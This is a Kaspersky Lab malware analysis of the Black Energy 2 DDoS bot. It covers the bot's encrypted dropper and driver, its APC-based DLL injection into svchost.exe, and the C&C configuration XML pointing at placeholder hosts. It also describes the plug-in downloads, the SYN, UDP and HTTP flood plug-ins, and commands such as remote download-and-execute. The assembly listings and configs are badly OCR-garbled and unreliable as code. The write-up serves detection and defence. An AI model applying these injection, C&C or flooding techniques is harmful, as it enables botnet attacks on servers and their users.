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Cybercriminals use a variety of bots to conduct DDoS attacks on Internet servers. One of the most popular tools is
called Black Energy. To date, Kaspersky Lab has identified and implemented detection for over 4,000
modifications of this malicious program. In mid-2008 malware writers made significant modifications to the
original version, creating Black Energy 2 (which Kaspersky Lab detects as Backdoor.Win32.Blakken). This
malicious program is the subject of this article.

Step-by-step: the bot components

The bot has several main functions: it hides the malware code from antivirus products, infects system processes
and, finally, offers flexible options for conducting a range of malicious activities on an infected computer when
commands are received from the botnet command-and-control (C&C) center. Each task is performed by a

different component of the malicious program.

Execute dropper code: creates decryptor driver

Figure 1. A step-by-step guide to how Black Energy 2 works
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The protective layer

Like most other malicious programs, Black Energy 2 has a protective layer that hides the malicious payload from

antivirus products. This includes encryption and code compression; anti-emulation techniques can also be used.

Once the Black Energy 2 executable is launched on a computer, the malicious application allocates virtual

memory, copies its decryptor code to the memory allocated and then passes control to the decryptor.

Execution of the decryptor code results in code with dropper functionality being placed in memory. Once the
dropper code is executed, a decryptor driver with a random name, e.g. “EIBCRDZB.SYS?”, is created in

system32drivers. A service (which also has a random name) associated with the driver is then created and started:

push esi
push esi
push esi
push esi
push [esp+Z0htzrg 0] ; driver path
;o "CoAMAWINDOWS A\ system3Z'\\driversi‘eibordzb. sya™
push esi
push 2
push 1
push 10030h
push [eapt+3ihtarg 4]
push [espt3ghtarg 4] ; Service name: docfbatgikfib
push ebax
call EEX ; CreatelServicel
miosy edi, eax
CIE edi, esi
J= short loc 401135
B Do
push 1CAIFDZFh
push 3
call DLLsProcess
push esi
push esi
push edi ; Service name: docfkatgikiik
call BEX 7 StartServiced
push edi
mow esi, eax
call subk_ 401000
Dop eCH
jmp short loc 40115E f

—

Figure 2. The launch of the malicious decryptor driver

Like the original executable, this driver is, in effect, a ‘wrapper’ that hides the most interesting part of the

malware.
The infector

The code of the decryptor driver contains a block of encrypted and packed data:
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Figure 3. Encrypted data within the decryptor driver

The data block has the following structure:

Data size Archive size Key length dummy
4 bytes 4 bytes 4 bytes 4 bytes

Key

Encrypted archive

Figure 4. Encrypted data structure

The key from this block is used to create another key, 100h bytes in size, which is used to decrypt the archive. The
encryption is based on the well-known RC4 algorithm. If the archive size is equal to the data size, it means that

the data is not packed. However, if the two do not coincide, the encrypted archive has to be unpacked.

The decrypted data is an infector driver which will inject a DLL into the svchost.exe user-mode process. In order
to launch the infector driver, the decryptor driver allocates memory, copies the decrypted code to that memory
area, remaps address offset fixups and passes control to it. The malicious DLL is stored in the .bdata section of the
infector driver. This data block has the same structure as that described above. The infector driver locates the
svchost.exe process and allocates memory in its address space. The malicious DLL is then copied to this memory
area and address offsets are remapped according to the relocation table. The injected library’s code is then

launched from kernel mode as shown below:
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push 0ESEE1075h
push edi
call FetiddrFunction
push [ebptwvar 4]
push edi
push [ebptarg E]
push esi
push offaet altExFresePool
push esi
push [ebptvar C]
push ebx
call 22X ; EeInitielizelpc
push GeFD4123h
push edi
call FetiddrFunction
push esi
push esi
push edi
push ebx
call 22X ; EeInsert{ueusipc
test EE2X, SEX
jnz short loc 15202
(|

Figure 5. Launching the DLL injected into svchost.exe

This method uses APC queue processing. First, an APC with the address of the DIIEntry function for the library
injected is initialized, then the APC is queued using KelnsertQueueApc APC. As soon as svchost.exe is ready to
process the APC queue (which is almost immediately), a thread from the DIIEntry address is launched in its

context.

The injected DLL

The DLL which is injected into svchost.exe is the main controlling factor in launching a DDoS attack from an
infected computer. Like the infector driver, the DLL has a .bdata section; this includes a block of encrypted data,
which has the same structure as that shown above. The data makes up an xml document that defines the bot’s

initial configuration. This screenshot gives an example:

£?xml version=""1.0" encoding="windows—1251"%>
<hkernel>

{zervers>r

{zepuep’

“typehttpl type>

Caddr>http: - “malexample ..com/get getcfg.phpd addr>
LA/ZEPUED D

{zepuep’

“typehttpl-type>

“addr*http: smalexample .rusget getcfg.phpdsadde:
LASEPUED Y

{/EePUBPS >

<cmds >

< cmds >

tsleepfreqr15< sleepfreqr

£huild_id>3< build_id>

<sbkernel>

Figure 6. The bot’s initial settings

The address of the botnet’s C&C is of course the most important information. In this case, two addresses are given

for the sake of reliability: if one server is down and the bot is unable to contact it, the bot can attempt to connect to
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its owner using the backup address.

The bot sends a preformed http request to the C&C address; this is a string containing data which identifies the

infected machine. A sample string is shown below:
id=xCOMPUTERNAME_62CF4DEF&In=ru&cn=RU&nt=2600&bid=3

The id parameter, which is the infected machine’s identifier, includes the computer name and the serial number of
the hard disk on which the C: drive is located. This is followed by operating system data: system language, OS
installation country and system build number. The build identifier for the bot ( ‘build_id’ in the initial

configuration options xml document) completes the string.

The format of the request string is used as confirmation that the request actually comes from the bot. In addition,

the C&C center also uses the user-agent header of the http request as a password of sorts.

If the C&C accepts the request, it responds with a bot configuration file which is also an encrypted xml document.
RC4 is also used to encrypt this file, with the infected machine’s identifier (the id parameter of the request string,
in the example above — xCOMPUTERNAME_62CF4DEF) serving as a key.

Here is an example of such instructions:
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£?xml version="1.0""7>
<hkernel>
<plugins>
<plugin>
<name *syn<sname >
{verzion>6< sverszion>
{keyracY87ele513045de3733£50cd41 44543 < key>
<Aplugin
<plugin
<name *http< name >
{version>42<{version’
Ckey>fd4hibcdl114712a1671e5370b03e0570< key>
<splugin>
<plugin>
<nane >ddos < namne >
{verszion>?</verszion>
Ckey>0722942a386174438a645e5d30157897 < key>
<Aplugin
<splugins>
<cmds >
<emdXsyn_start www.targetl.example.ru 443< cmd>
<cmd>http_start http:-ssuww.target? _example.rus. cmd>
<emdX>ddos_start udp www.target3.example.ru 80< cmd>
< cmds >
<plg_dataX>
{synz
Csyn_freqrhl<syn_freg>
<syn_threads>3<{ syn_threads>>

<ssun >
<http>

<http_freg>50i<-http_freq
Chttp_threads>3< http_threads>
<shttp?>
<ddos>
<tcp_sizexl0iitcp_size’
Ctcp_freqrSitop_fregr
<tcp_threads>5<-tcp_threads>
Ludp_size 1000 udp_size>
Ludp_freq>5id udp_fregr>
Ludp_threads >5</udp_threads>
Cicmp_sizex1000< - icmp_size >
Cicmp_freqrS5<sicmp_fregr
<icmp_threads>5< icmp_threads>
Chttp_freg>500<http_freg>
<http_threads>5<- http_threads>
< ddos>
<splg_datar>
{zepueprs’
{s/zervers >’
{gleepfreqr?00 s leepfreqr
<ip> £A/1p>
<sbkernel>

Figure 7. Configuration file — instructions from the C&C

The section tells the bot which modules are available on the owner’s server to set up a DDoS attack. If the bot
does not have a particular module or if a newer version is available on the server, the bot will send a plug-in

download request to the server, e.g.:
getp=http&id=xCOMPUTERNAME_62CF4DEF &In=ru&cn=RU&nt=2600&bid=3

A plug-in is a DLL library, which is sent to the bot in an encrypted form. If the key used to encrypt a plugin differs
from the value of the id parameter, it will be specified in the field of the configuration file. Once the plug-in DLL
has been received and decrypted, it will be placed in the memory area allocated. It is then ready to begin a DDoS

attack as soon as the appropriate command is received.

Plug-ins will be regularly downloaded to infected machines: as soon as the malware writer updates their attack

methods, the Black Energy 2 bot will download the latest version of the relevant plugin.
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The downloaded plug-ins are saved to the infected computer’s hard drive as str.sys in system32drivers. Str.sys is

encrypted, with the id parameter being used as the key. Prior to encryption, the str.sys data looks like this:

HRTS ] I
B> ¢ http MZ' Plugin size : 1A01h

v 5 " E Name : http

w I -
R ToHteELHtThis=
program cannot b
e r$a$in DOE mod
e.F i3
33 g gy
3 A 3gUu 3EA! AgHe
IR 3=Yu IEA! =Yg
3 3 AE3 - A1 AgUH
Il IgUx3EA! 3gly
JEA! 3Rich' 413

Plugin code

E- A.reloc
@ a8 1
@ B

[
[
[

Figure 8. Unencrypted contents of str.sys: plug-in storage

Each plug-in has an exported function, DispatchCommand, which is called by the main module — the DLL
injected into the svchost.exe process. A parameter (one of the commands from the section in the bot configuration

file) is passed to the DispatchCommand function. The plug-in then executes the command.

The main plug-ins

The main plug-ins for Black Energy 2 are ddos, syn and http. A brief description of each is given below.
The ddos plug-in

The server address, protocol and port to be used in an attack are the input for the ddos plug-in. The plug-in
initiates mass connections to the server, using the port and protocol specified. Once a connection is established, a

random data packet is sent to the server. The following protocols are supported: tcp, udp, icmp and http.

Below is an example of a “ddos_start udp 80” command being carried out:
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TBEE1d7TH FLEH EFH Met=hort -
1BEA147E FF1E £d423@@E11 CALL DWORD PTR DS:[<aws2 32 4931 (Lntohs

1BEE1421 E0 11 PUSH 11 Frotosol = IPPROTO_UDP
1EEE1 453 EQ B2 PUSH 2 Tupe = SOCK_DGRAM |
1BEE 1485 EQ B2 PUSH 2 Family = AF_INET

1BE6 1457 £5:994E F2 | MOV WORD PTR SS: [EBP-EI,AX

FFi5 543m@a11 CALL DWORD FTR DS:C<&W52 32,2351 |Lsocket

R S3F2 FF CHP EAX, -1

1REA1 454 2945 @S MOU DWORD FTR_S5: [EEF+81, EAX

1aa61457 || v BF24 BFPEEEE JE GRGE 2 B, 1ABE1SZC

1BEE1450 E2 PLISH _EEH

1361 45E SEEE 14 HOL_EE, DWORD FTR OS:[ESI+14] x
Figure 9. Creating a socket, UDP protocol

S| =T T OO ESF, B0

tgeaidFz || > A L@ PUSH 16 ToLength = 18 (15.]
ipaaidFs || . 2045 Fa LEA EA,DWORD FTR S5: [EBF-161

tpeaidF? || . G@ FUSH EAX pTo

tpaaidFs || . EQ 6@ FUSH @ Flags = @ [
teaaidFn || . B2 PUSH EEX DataSize
teaaidFe || . &7 PUSH EDI Data

taanidrc || . FFPS B3 FUSH DWORD FTR S5: [EBP+2] Socket

EECICEE | . FFIS 68=@Ra1l CALL DWORD FTR DS:[<alS2_32. #2657 zendto

teeaites || . £3F2 FF CHE ERA, -1

ieaeisas || . 75 86 JNZ SHORT BEES_2 @, 16661516

teeaisen ||, FFIS S336@811 CALL DWORD PTR D3: [<&MS2_32.#1113] CUSAGetLastError
teaaisin || > &7 FLUSH EDI

1eea1E11 || . E2 98FDFFFF |CALL BRGS_2_ 6. 1GR812A6

1eaaiEle || . B9 POF ECH

1eae1517 || .~ EE 86 JHP SHORT @BES_2 &, 1868151F

16681519 || > FFIE BLa@@@il CALL DWORD PTR DS: [<&KERMNEL3Z.GetlLastError>] |CHetlastError
t@eaiciF || > FFPS B2 PUSH DWORD PTR S5: [EEP+2] Socket

i@eaiczz || . FFIE EC3@AALICALL DWORD PTR DS: [<BMS2 32,8331 clozesocket =

BEEGEERE || Socket = AD

t+d | eEe2EE92|| Datva - @EESEQ9S

s+5 | 9@PAPSES|| Datasize = SES (1@ea@.)

S+C | BREEEEEA|| Flaos = @

5+10 | B@94FFEE || oTo = @@v4FFEs

S+414 | BREEEALA | LTolength = 18 (16.)

f+12 | BROREREE

Figure 10-1. Sending data: sendto and the stack

Port IP address

Address

AAS4FFES
BAS4FFES
HES4FF72
BAS4FFES

ASCII

BE| &, . PMu921ii. 2*0.

[S1E] I Ry T T -
tbFi. ... W8 MeSs

HE|....a=cEFOA. ...

Hen dump

A2 @8 B8 5@ 40 B
B4 FF 94 BB 94 16
vd4 62 98 PC 00 @8
B8 88 88 86 AG 30

2 CC 82 Ba 38
2 B8 88 aa Ag
2 CC 82 8@ 40
E FC 4F 28 0@

[ L]
WEE
0 &= =
G
oDDI

Figure 10-2. Sending data: sendto and the stack

Address
[EE[EEl=TE ]
HEESESAS
HEESEBES
BEESESCS
BEESESDS
HEEZEBESD
HEESEBFS
HEEZSE1AS
HEAZELLS
HEESEL122
HEESEL 22
BEESEL142
BEEZEL1SE
HEESE1GS
(5155 =] = =]
HEEZIEL122
HEESE]L 22

ASCII
Huy Wi+
uet B4 | PR mH
1z o= inalL]| NPHL M
CF+=tFun 241142 =B
Frdd FhoGswEHTI
uen. T.HE- a2 Wl
HG5hpYdesl 1" HEPr
&% E4h FR 19 -, "H
LNakd< . +80My.j.0
O A" S i HEF S
L o =
1 S HHLASEE| LA
d%** Alllcu 432 MU aHEE
Acf@4@al i BHfaim] |
#bZ2Bwrt=Fh IER—7
Afrlh - T |4y Ll
& gllEgh S ™2 [NlE "

Hew dump
EC

Figure 10-3. What data is sent: a random set of bytes

When the http protocol is specified in the command, the ddos plugin uses the socket, connect and send functions

to send a GET request to the server.
The syn plug-in

Unlike the other plug-ins described in this article, the syn plugin includes a network driver. When the plugin’s

DIlEntry function is called, the driver is installed to system32drivers folder as synsenddrv.sys. The driver sends all
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the network packets. As can be easily guessed, the DispatchCommand function waits for the main DLL to send it
the following parameter: “syn_start ” or “syn_stop “. If the former parameter is received, the plugin begins an
attack, if the latter is received, the attack is stopped. An attack in this case consists of numerous connection

requests being made to the server, followed by so-called ‘handshakes’, i.e. the opening of network sessions.

2 0.678151 ] . ¥ v DNS standard query response A 7% 70 - .

3 0.784037 1 ’ 77 AN " WG TCP 40694 > http [SYN] Seq=0 win=17361 Len=0 M55=1460
4 0.784215 1 ’ 7 g TCP 13612 = http [SYN] Seq=0 win=17361 Len=0 M55=1460
5 0.784319 1 ’ 7 g TCP 45025 = http [SYN] Seq=0 win=17361 Len=0 M55=1460
6 0.784425 1 » 7 g TCP 26723 = http [SYN] Seg=0 wWin=17361 Len=0 M55=1460
/ O./784533 / ) 52506 > 1 /3 M55=1401l
14 0.844430 7 9 TCP 32141 > http [SYN] Seq=0 Win=17361 Len=0 M55=1460
15 0. 844809 ] 7 9 TCP 42158 = http [SYN] Seq=0 win=17361 Len=0 M55=1460
16 0.845347 ] 7 9 TCP 54445 = http [SYN] Seg=0 wWin=17361 Len=0 M55=1460
17 0.845450 ] 7 9 TCP 40780 = http [SYN] Seq=0 win=17361 Len=0 M55=1460
18 0.845550 - e 7 9 TCP 50048 = http [SYN] Seg=0 wWin=17361 Len=0 M55=1460
19 0.869411 7l "o ] ¢ TCP http = 40694 [SYN, ACK] Seq=0 Ack=l Win=65535 Len=0 M55=1318

0. 534 1 7| 9 4 g Seq=1l Wi

http > Win=65535 MS5=1318
1

> 45025 [ ] Win=65535 M55=1318
> 52506 [ ] Win=65535 M55=1318
> 13612 [ ] seq=0 Ack=l wWin=65535 M55=1318
E =0 Ler

0 Ler

Win=65535 M55=1318

. 936460 http > 42158 [ ] Win=65535

. 936499 http = 40780 [ ] Win=65535 M55=1318
. 936536 http > 54445 [ ] Win=65535 M55=1318
. 936570 http > 50048 [ ] Win=65535 M55=1318

Figure 11. SYN attack: SYN->ACK->RST

Naturally, if numerous requests are made from a large number of infected computers, this creates a noticeable load

on the server.
The http plug-in

The DDoS attack methods described above are often combated by using redirects: a server with online resources
is hidden behind a gateway that is visible to the outside world, with the gateway redirecting requests to the server
hosting the resources. The gateway can use a variety of techniques to fend off DDoS attacks and taking it down is
not easy. Since the ddos and syn plugins target IP addresses and have no features which allow them to recognize
traffic redirects, they can only attack the gateway. Hence, the network flooding that they generate simply does not

reach the server hosting Internet resources. This is where the http plugin comes in.

Having received the http_start command, the http plugin creates a COM object named “Internet Explorer(Ver
1.0)” with an IWebBrowser?2 interface. The Navigate method is called by the http_start command with the
parameter, resulting in the Internet Explorer(Ver 1.0) object navigating to the URL specified. The Busy method is

then used by the malicious program which waits until the request is completed.
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18Ra1284 . |MOW ESI,DWORD PTR 55:CEEBP+E] _I
18RE1287 . |LEA EAx,.DOWORD PTR 55:CEEBP-41
188E122R . | FUSH ERX
18881228 . |FUSH http. loBEzarFa
168681296 . |FUSH 4
18881292 . | ®W0R EDOI,EDI
18881294 . | FUSH EDI
1aEa1295 « |FUSH http. loBEzaEs
1HHELZ29A . |MOY OWORD PTR OS:CESI+E1,1
. |CALL OWARD PTR D5:[<%ole32.CoCreatelnstancer] | ole32.ColCreatelnstance
168EE1Z2AT7 . | TEST ERx,ER:

___
1EEE2EER| Pointer to CLSID [COM object)
BEEBAREE
BRBHAEES . )
1eeaz26Fa| Pointer to interface ID
HESEFFER

Figure 12-1. Creating a COM object

Address |Hex dump
1EEE2EER | B1 OF B2 B0 B8 B8 0B B0 CA B8 OB 80 B8 B8 0B 46

CLSID: {0002DF01-0000-0000-C000-000000000046}
Internet Explorer{Ver 1.0)

Figure 12-2. Pointer to CLSID

Address |Hed dump
1EEEzEFE] 61 16 BC D2/AF CO D@ 11/2A SE 8@ CR/4F C9 EZ2 &E

IWebBrowser2 interface ID:
{D30C1661-CDAF-11D0-8A3E-00C04FCSE26E}

Figure 12-3. Pointer to the interface ID

lopE 1 2E8 . | FUSH EEX
16EE1ZE]L . |MOU EBEX,DWORD PTR DS: [{&%KERMEL3Z.5leep*]| kernel32.5leep
18EE12ZE7F ¥ Moy ER:,OWORD FTE S55:[CEBFP-41
18881 2ER . || MOU ECH,OWORD PTE DOS:LCERX]
16EE1 2EC . || LER EDOX,O0OWORD PTR 55:[CEBP-1C1]
1666a1 2EF . || FUSH EDX Headers
166681 2Fa . || FUSH EDX FostData
loEa1z2F1 . || FUSH EDX TargetFrameMame
18RRI ZF2 . || FUSH ED¥ Flags
16EE12F3 . || FUSH DWORD PTR S55:[EEFP-81 UREL=UMICODE "wWww.e&xample. com™
1EAERLZFE . || FUSH ERX COM-0b ject
. || CALL OWORD PTR DS:LCECH+2C1] IllebBrowser2. Shel l IlebBrowser_Hauvigate
16EE12FA . || TEST ERH,ERX

Figure 13. Calling the Navigate method

16661 385 ¥ B6:8370 @A Bi|rCHMP _WORD PTR S5:[EEF+A],.8 —
1EEE 1 2ER oo Td 21 JE SHORT http. 1@@@13z0
166881 380 . FFO? CHLL EDI
16661 38E . 2B45 F4 SUE ERX,OWORD PTR 55:[CEEP-C1]
16EE1311 . 30 18278808 CHF ERAX, 2718
lopEligle oo 15 JH SHORT http. 18881320
16EE1318 . GBH &4 FUSH &4 188 ms
16EE131A . FFO3 CHLL EBX kernel3z.5leep
1EEE1Z1C » BSB4E FC MO ERX, OWORD PTR S5:LCEEF-41
18EE131F . BSEBE&Z MOl ECH,OWORD PTR D5:LCEAX]
1EEE1 221 . BSOEE B8R LERA EDQOX,0OWORDO PTR S5:LCEEF+A]
1aa6a1 324 . &2 FUSH EDX pBool
1666 ] 325 . 5@a FUSH ERX COM-0bject
. FFE1 vC CHLL DWORD FPTR D5: [ECH+TC] IllebBrowserz.Shel lIWsbBrowser_get_Busu
16RE1 329 . BECH TEST ER,ERx
16661 326 -~ 70 D3 L 5GE SHORT http.l8@81385

Figure 14. Calling the Busy method

Using these steps, the malicious program imitates an ordinary user visiting a particular page. The only difference
is that, unlike a user, the malicious program makes many ‘visits’ to the same address within a short period of time.
Even if a redirecting gateway is used, the http request is redirected to the protected server hosting web resources,

thus creating a significant load on the server.

General commands
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https://securelist.com/black-ddos/36309/

In addition to downloading plug-ins and executing plug-in commands, Black Energy 2 ‘understands’ a number of

general commands that can be sent by the C&C server:

rexec — download and execute a remote file;

lexec — execute a local file on the infected computer;

die — terminate bot execution;

upd — update the bot;

setfreq — set the frequency with which the bot will contact the C&C server;

http — send http request to the specified web page.

Conclusion

Initially, the Black Energy bot was created with the aim of conducting DDoS attacks, but with the implementation
of plugins in the bot’s second version, the potential of this malware family has become virtually unlimited.
(However, so far cybercriminals have mostly used it as a DDoS tool). Plugins can be installed, e.g. to send spam,
grab user credentials, set up a proxy server etc. The upd command can be used to update the bot, e.g. with a
version that has been encrypted using a different encryption method. Regular updates make it possible for the bot

to evade a number of antivirus products, any of which might be installed on the infected computer, for a long time.

This malicious tool has high potential, which naturally makes it quite a threat. Luckily, since there are no publicly
available constructors online which can be used online to build Black Energy 2 bots, there are fewer variants of
this malware than say, ZeuS or the first version of Black Energy. However, the data we have shows that
cybercriminals have already used Black Energy 2 to construct large botnets, and these have already been involved

in successful DDoS attacks.

It is difficult to predict how botnet masters will use their botnets in the future. It’s not hard for malware writers to
create a plug-in and get it downloaded to infected user machines. Furthermore, any plug-in code is only present in
an infected computer’s memory; in all other instances the malicious modules are encrypted, whether this is during

transmission or when stored on a hard drive.

In addition, Black Energy 2 plugins are not executable (.exe) files. Plugins are loaded directly onto an infected
machine, which means that they will not be distributed using mass propagation techniques and antivirus vendors
may not come across new plugins for extended periods of time. However, it is the plug-ins that ultimately meet the
cybercriminals’ goal, i.e. delivering the malicious payload which is the ultimate aim of infecting victim machines

with the Black Energy 2 bot.

Consequently, it’s essential to track the plug-ins. Kaspersky Lab monitors which Black Energy 2 plugins are

available for download to track the evolution of this malicious program. We’ll keep you posted.

Source: https://securelist.com/black-ddos/36309/
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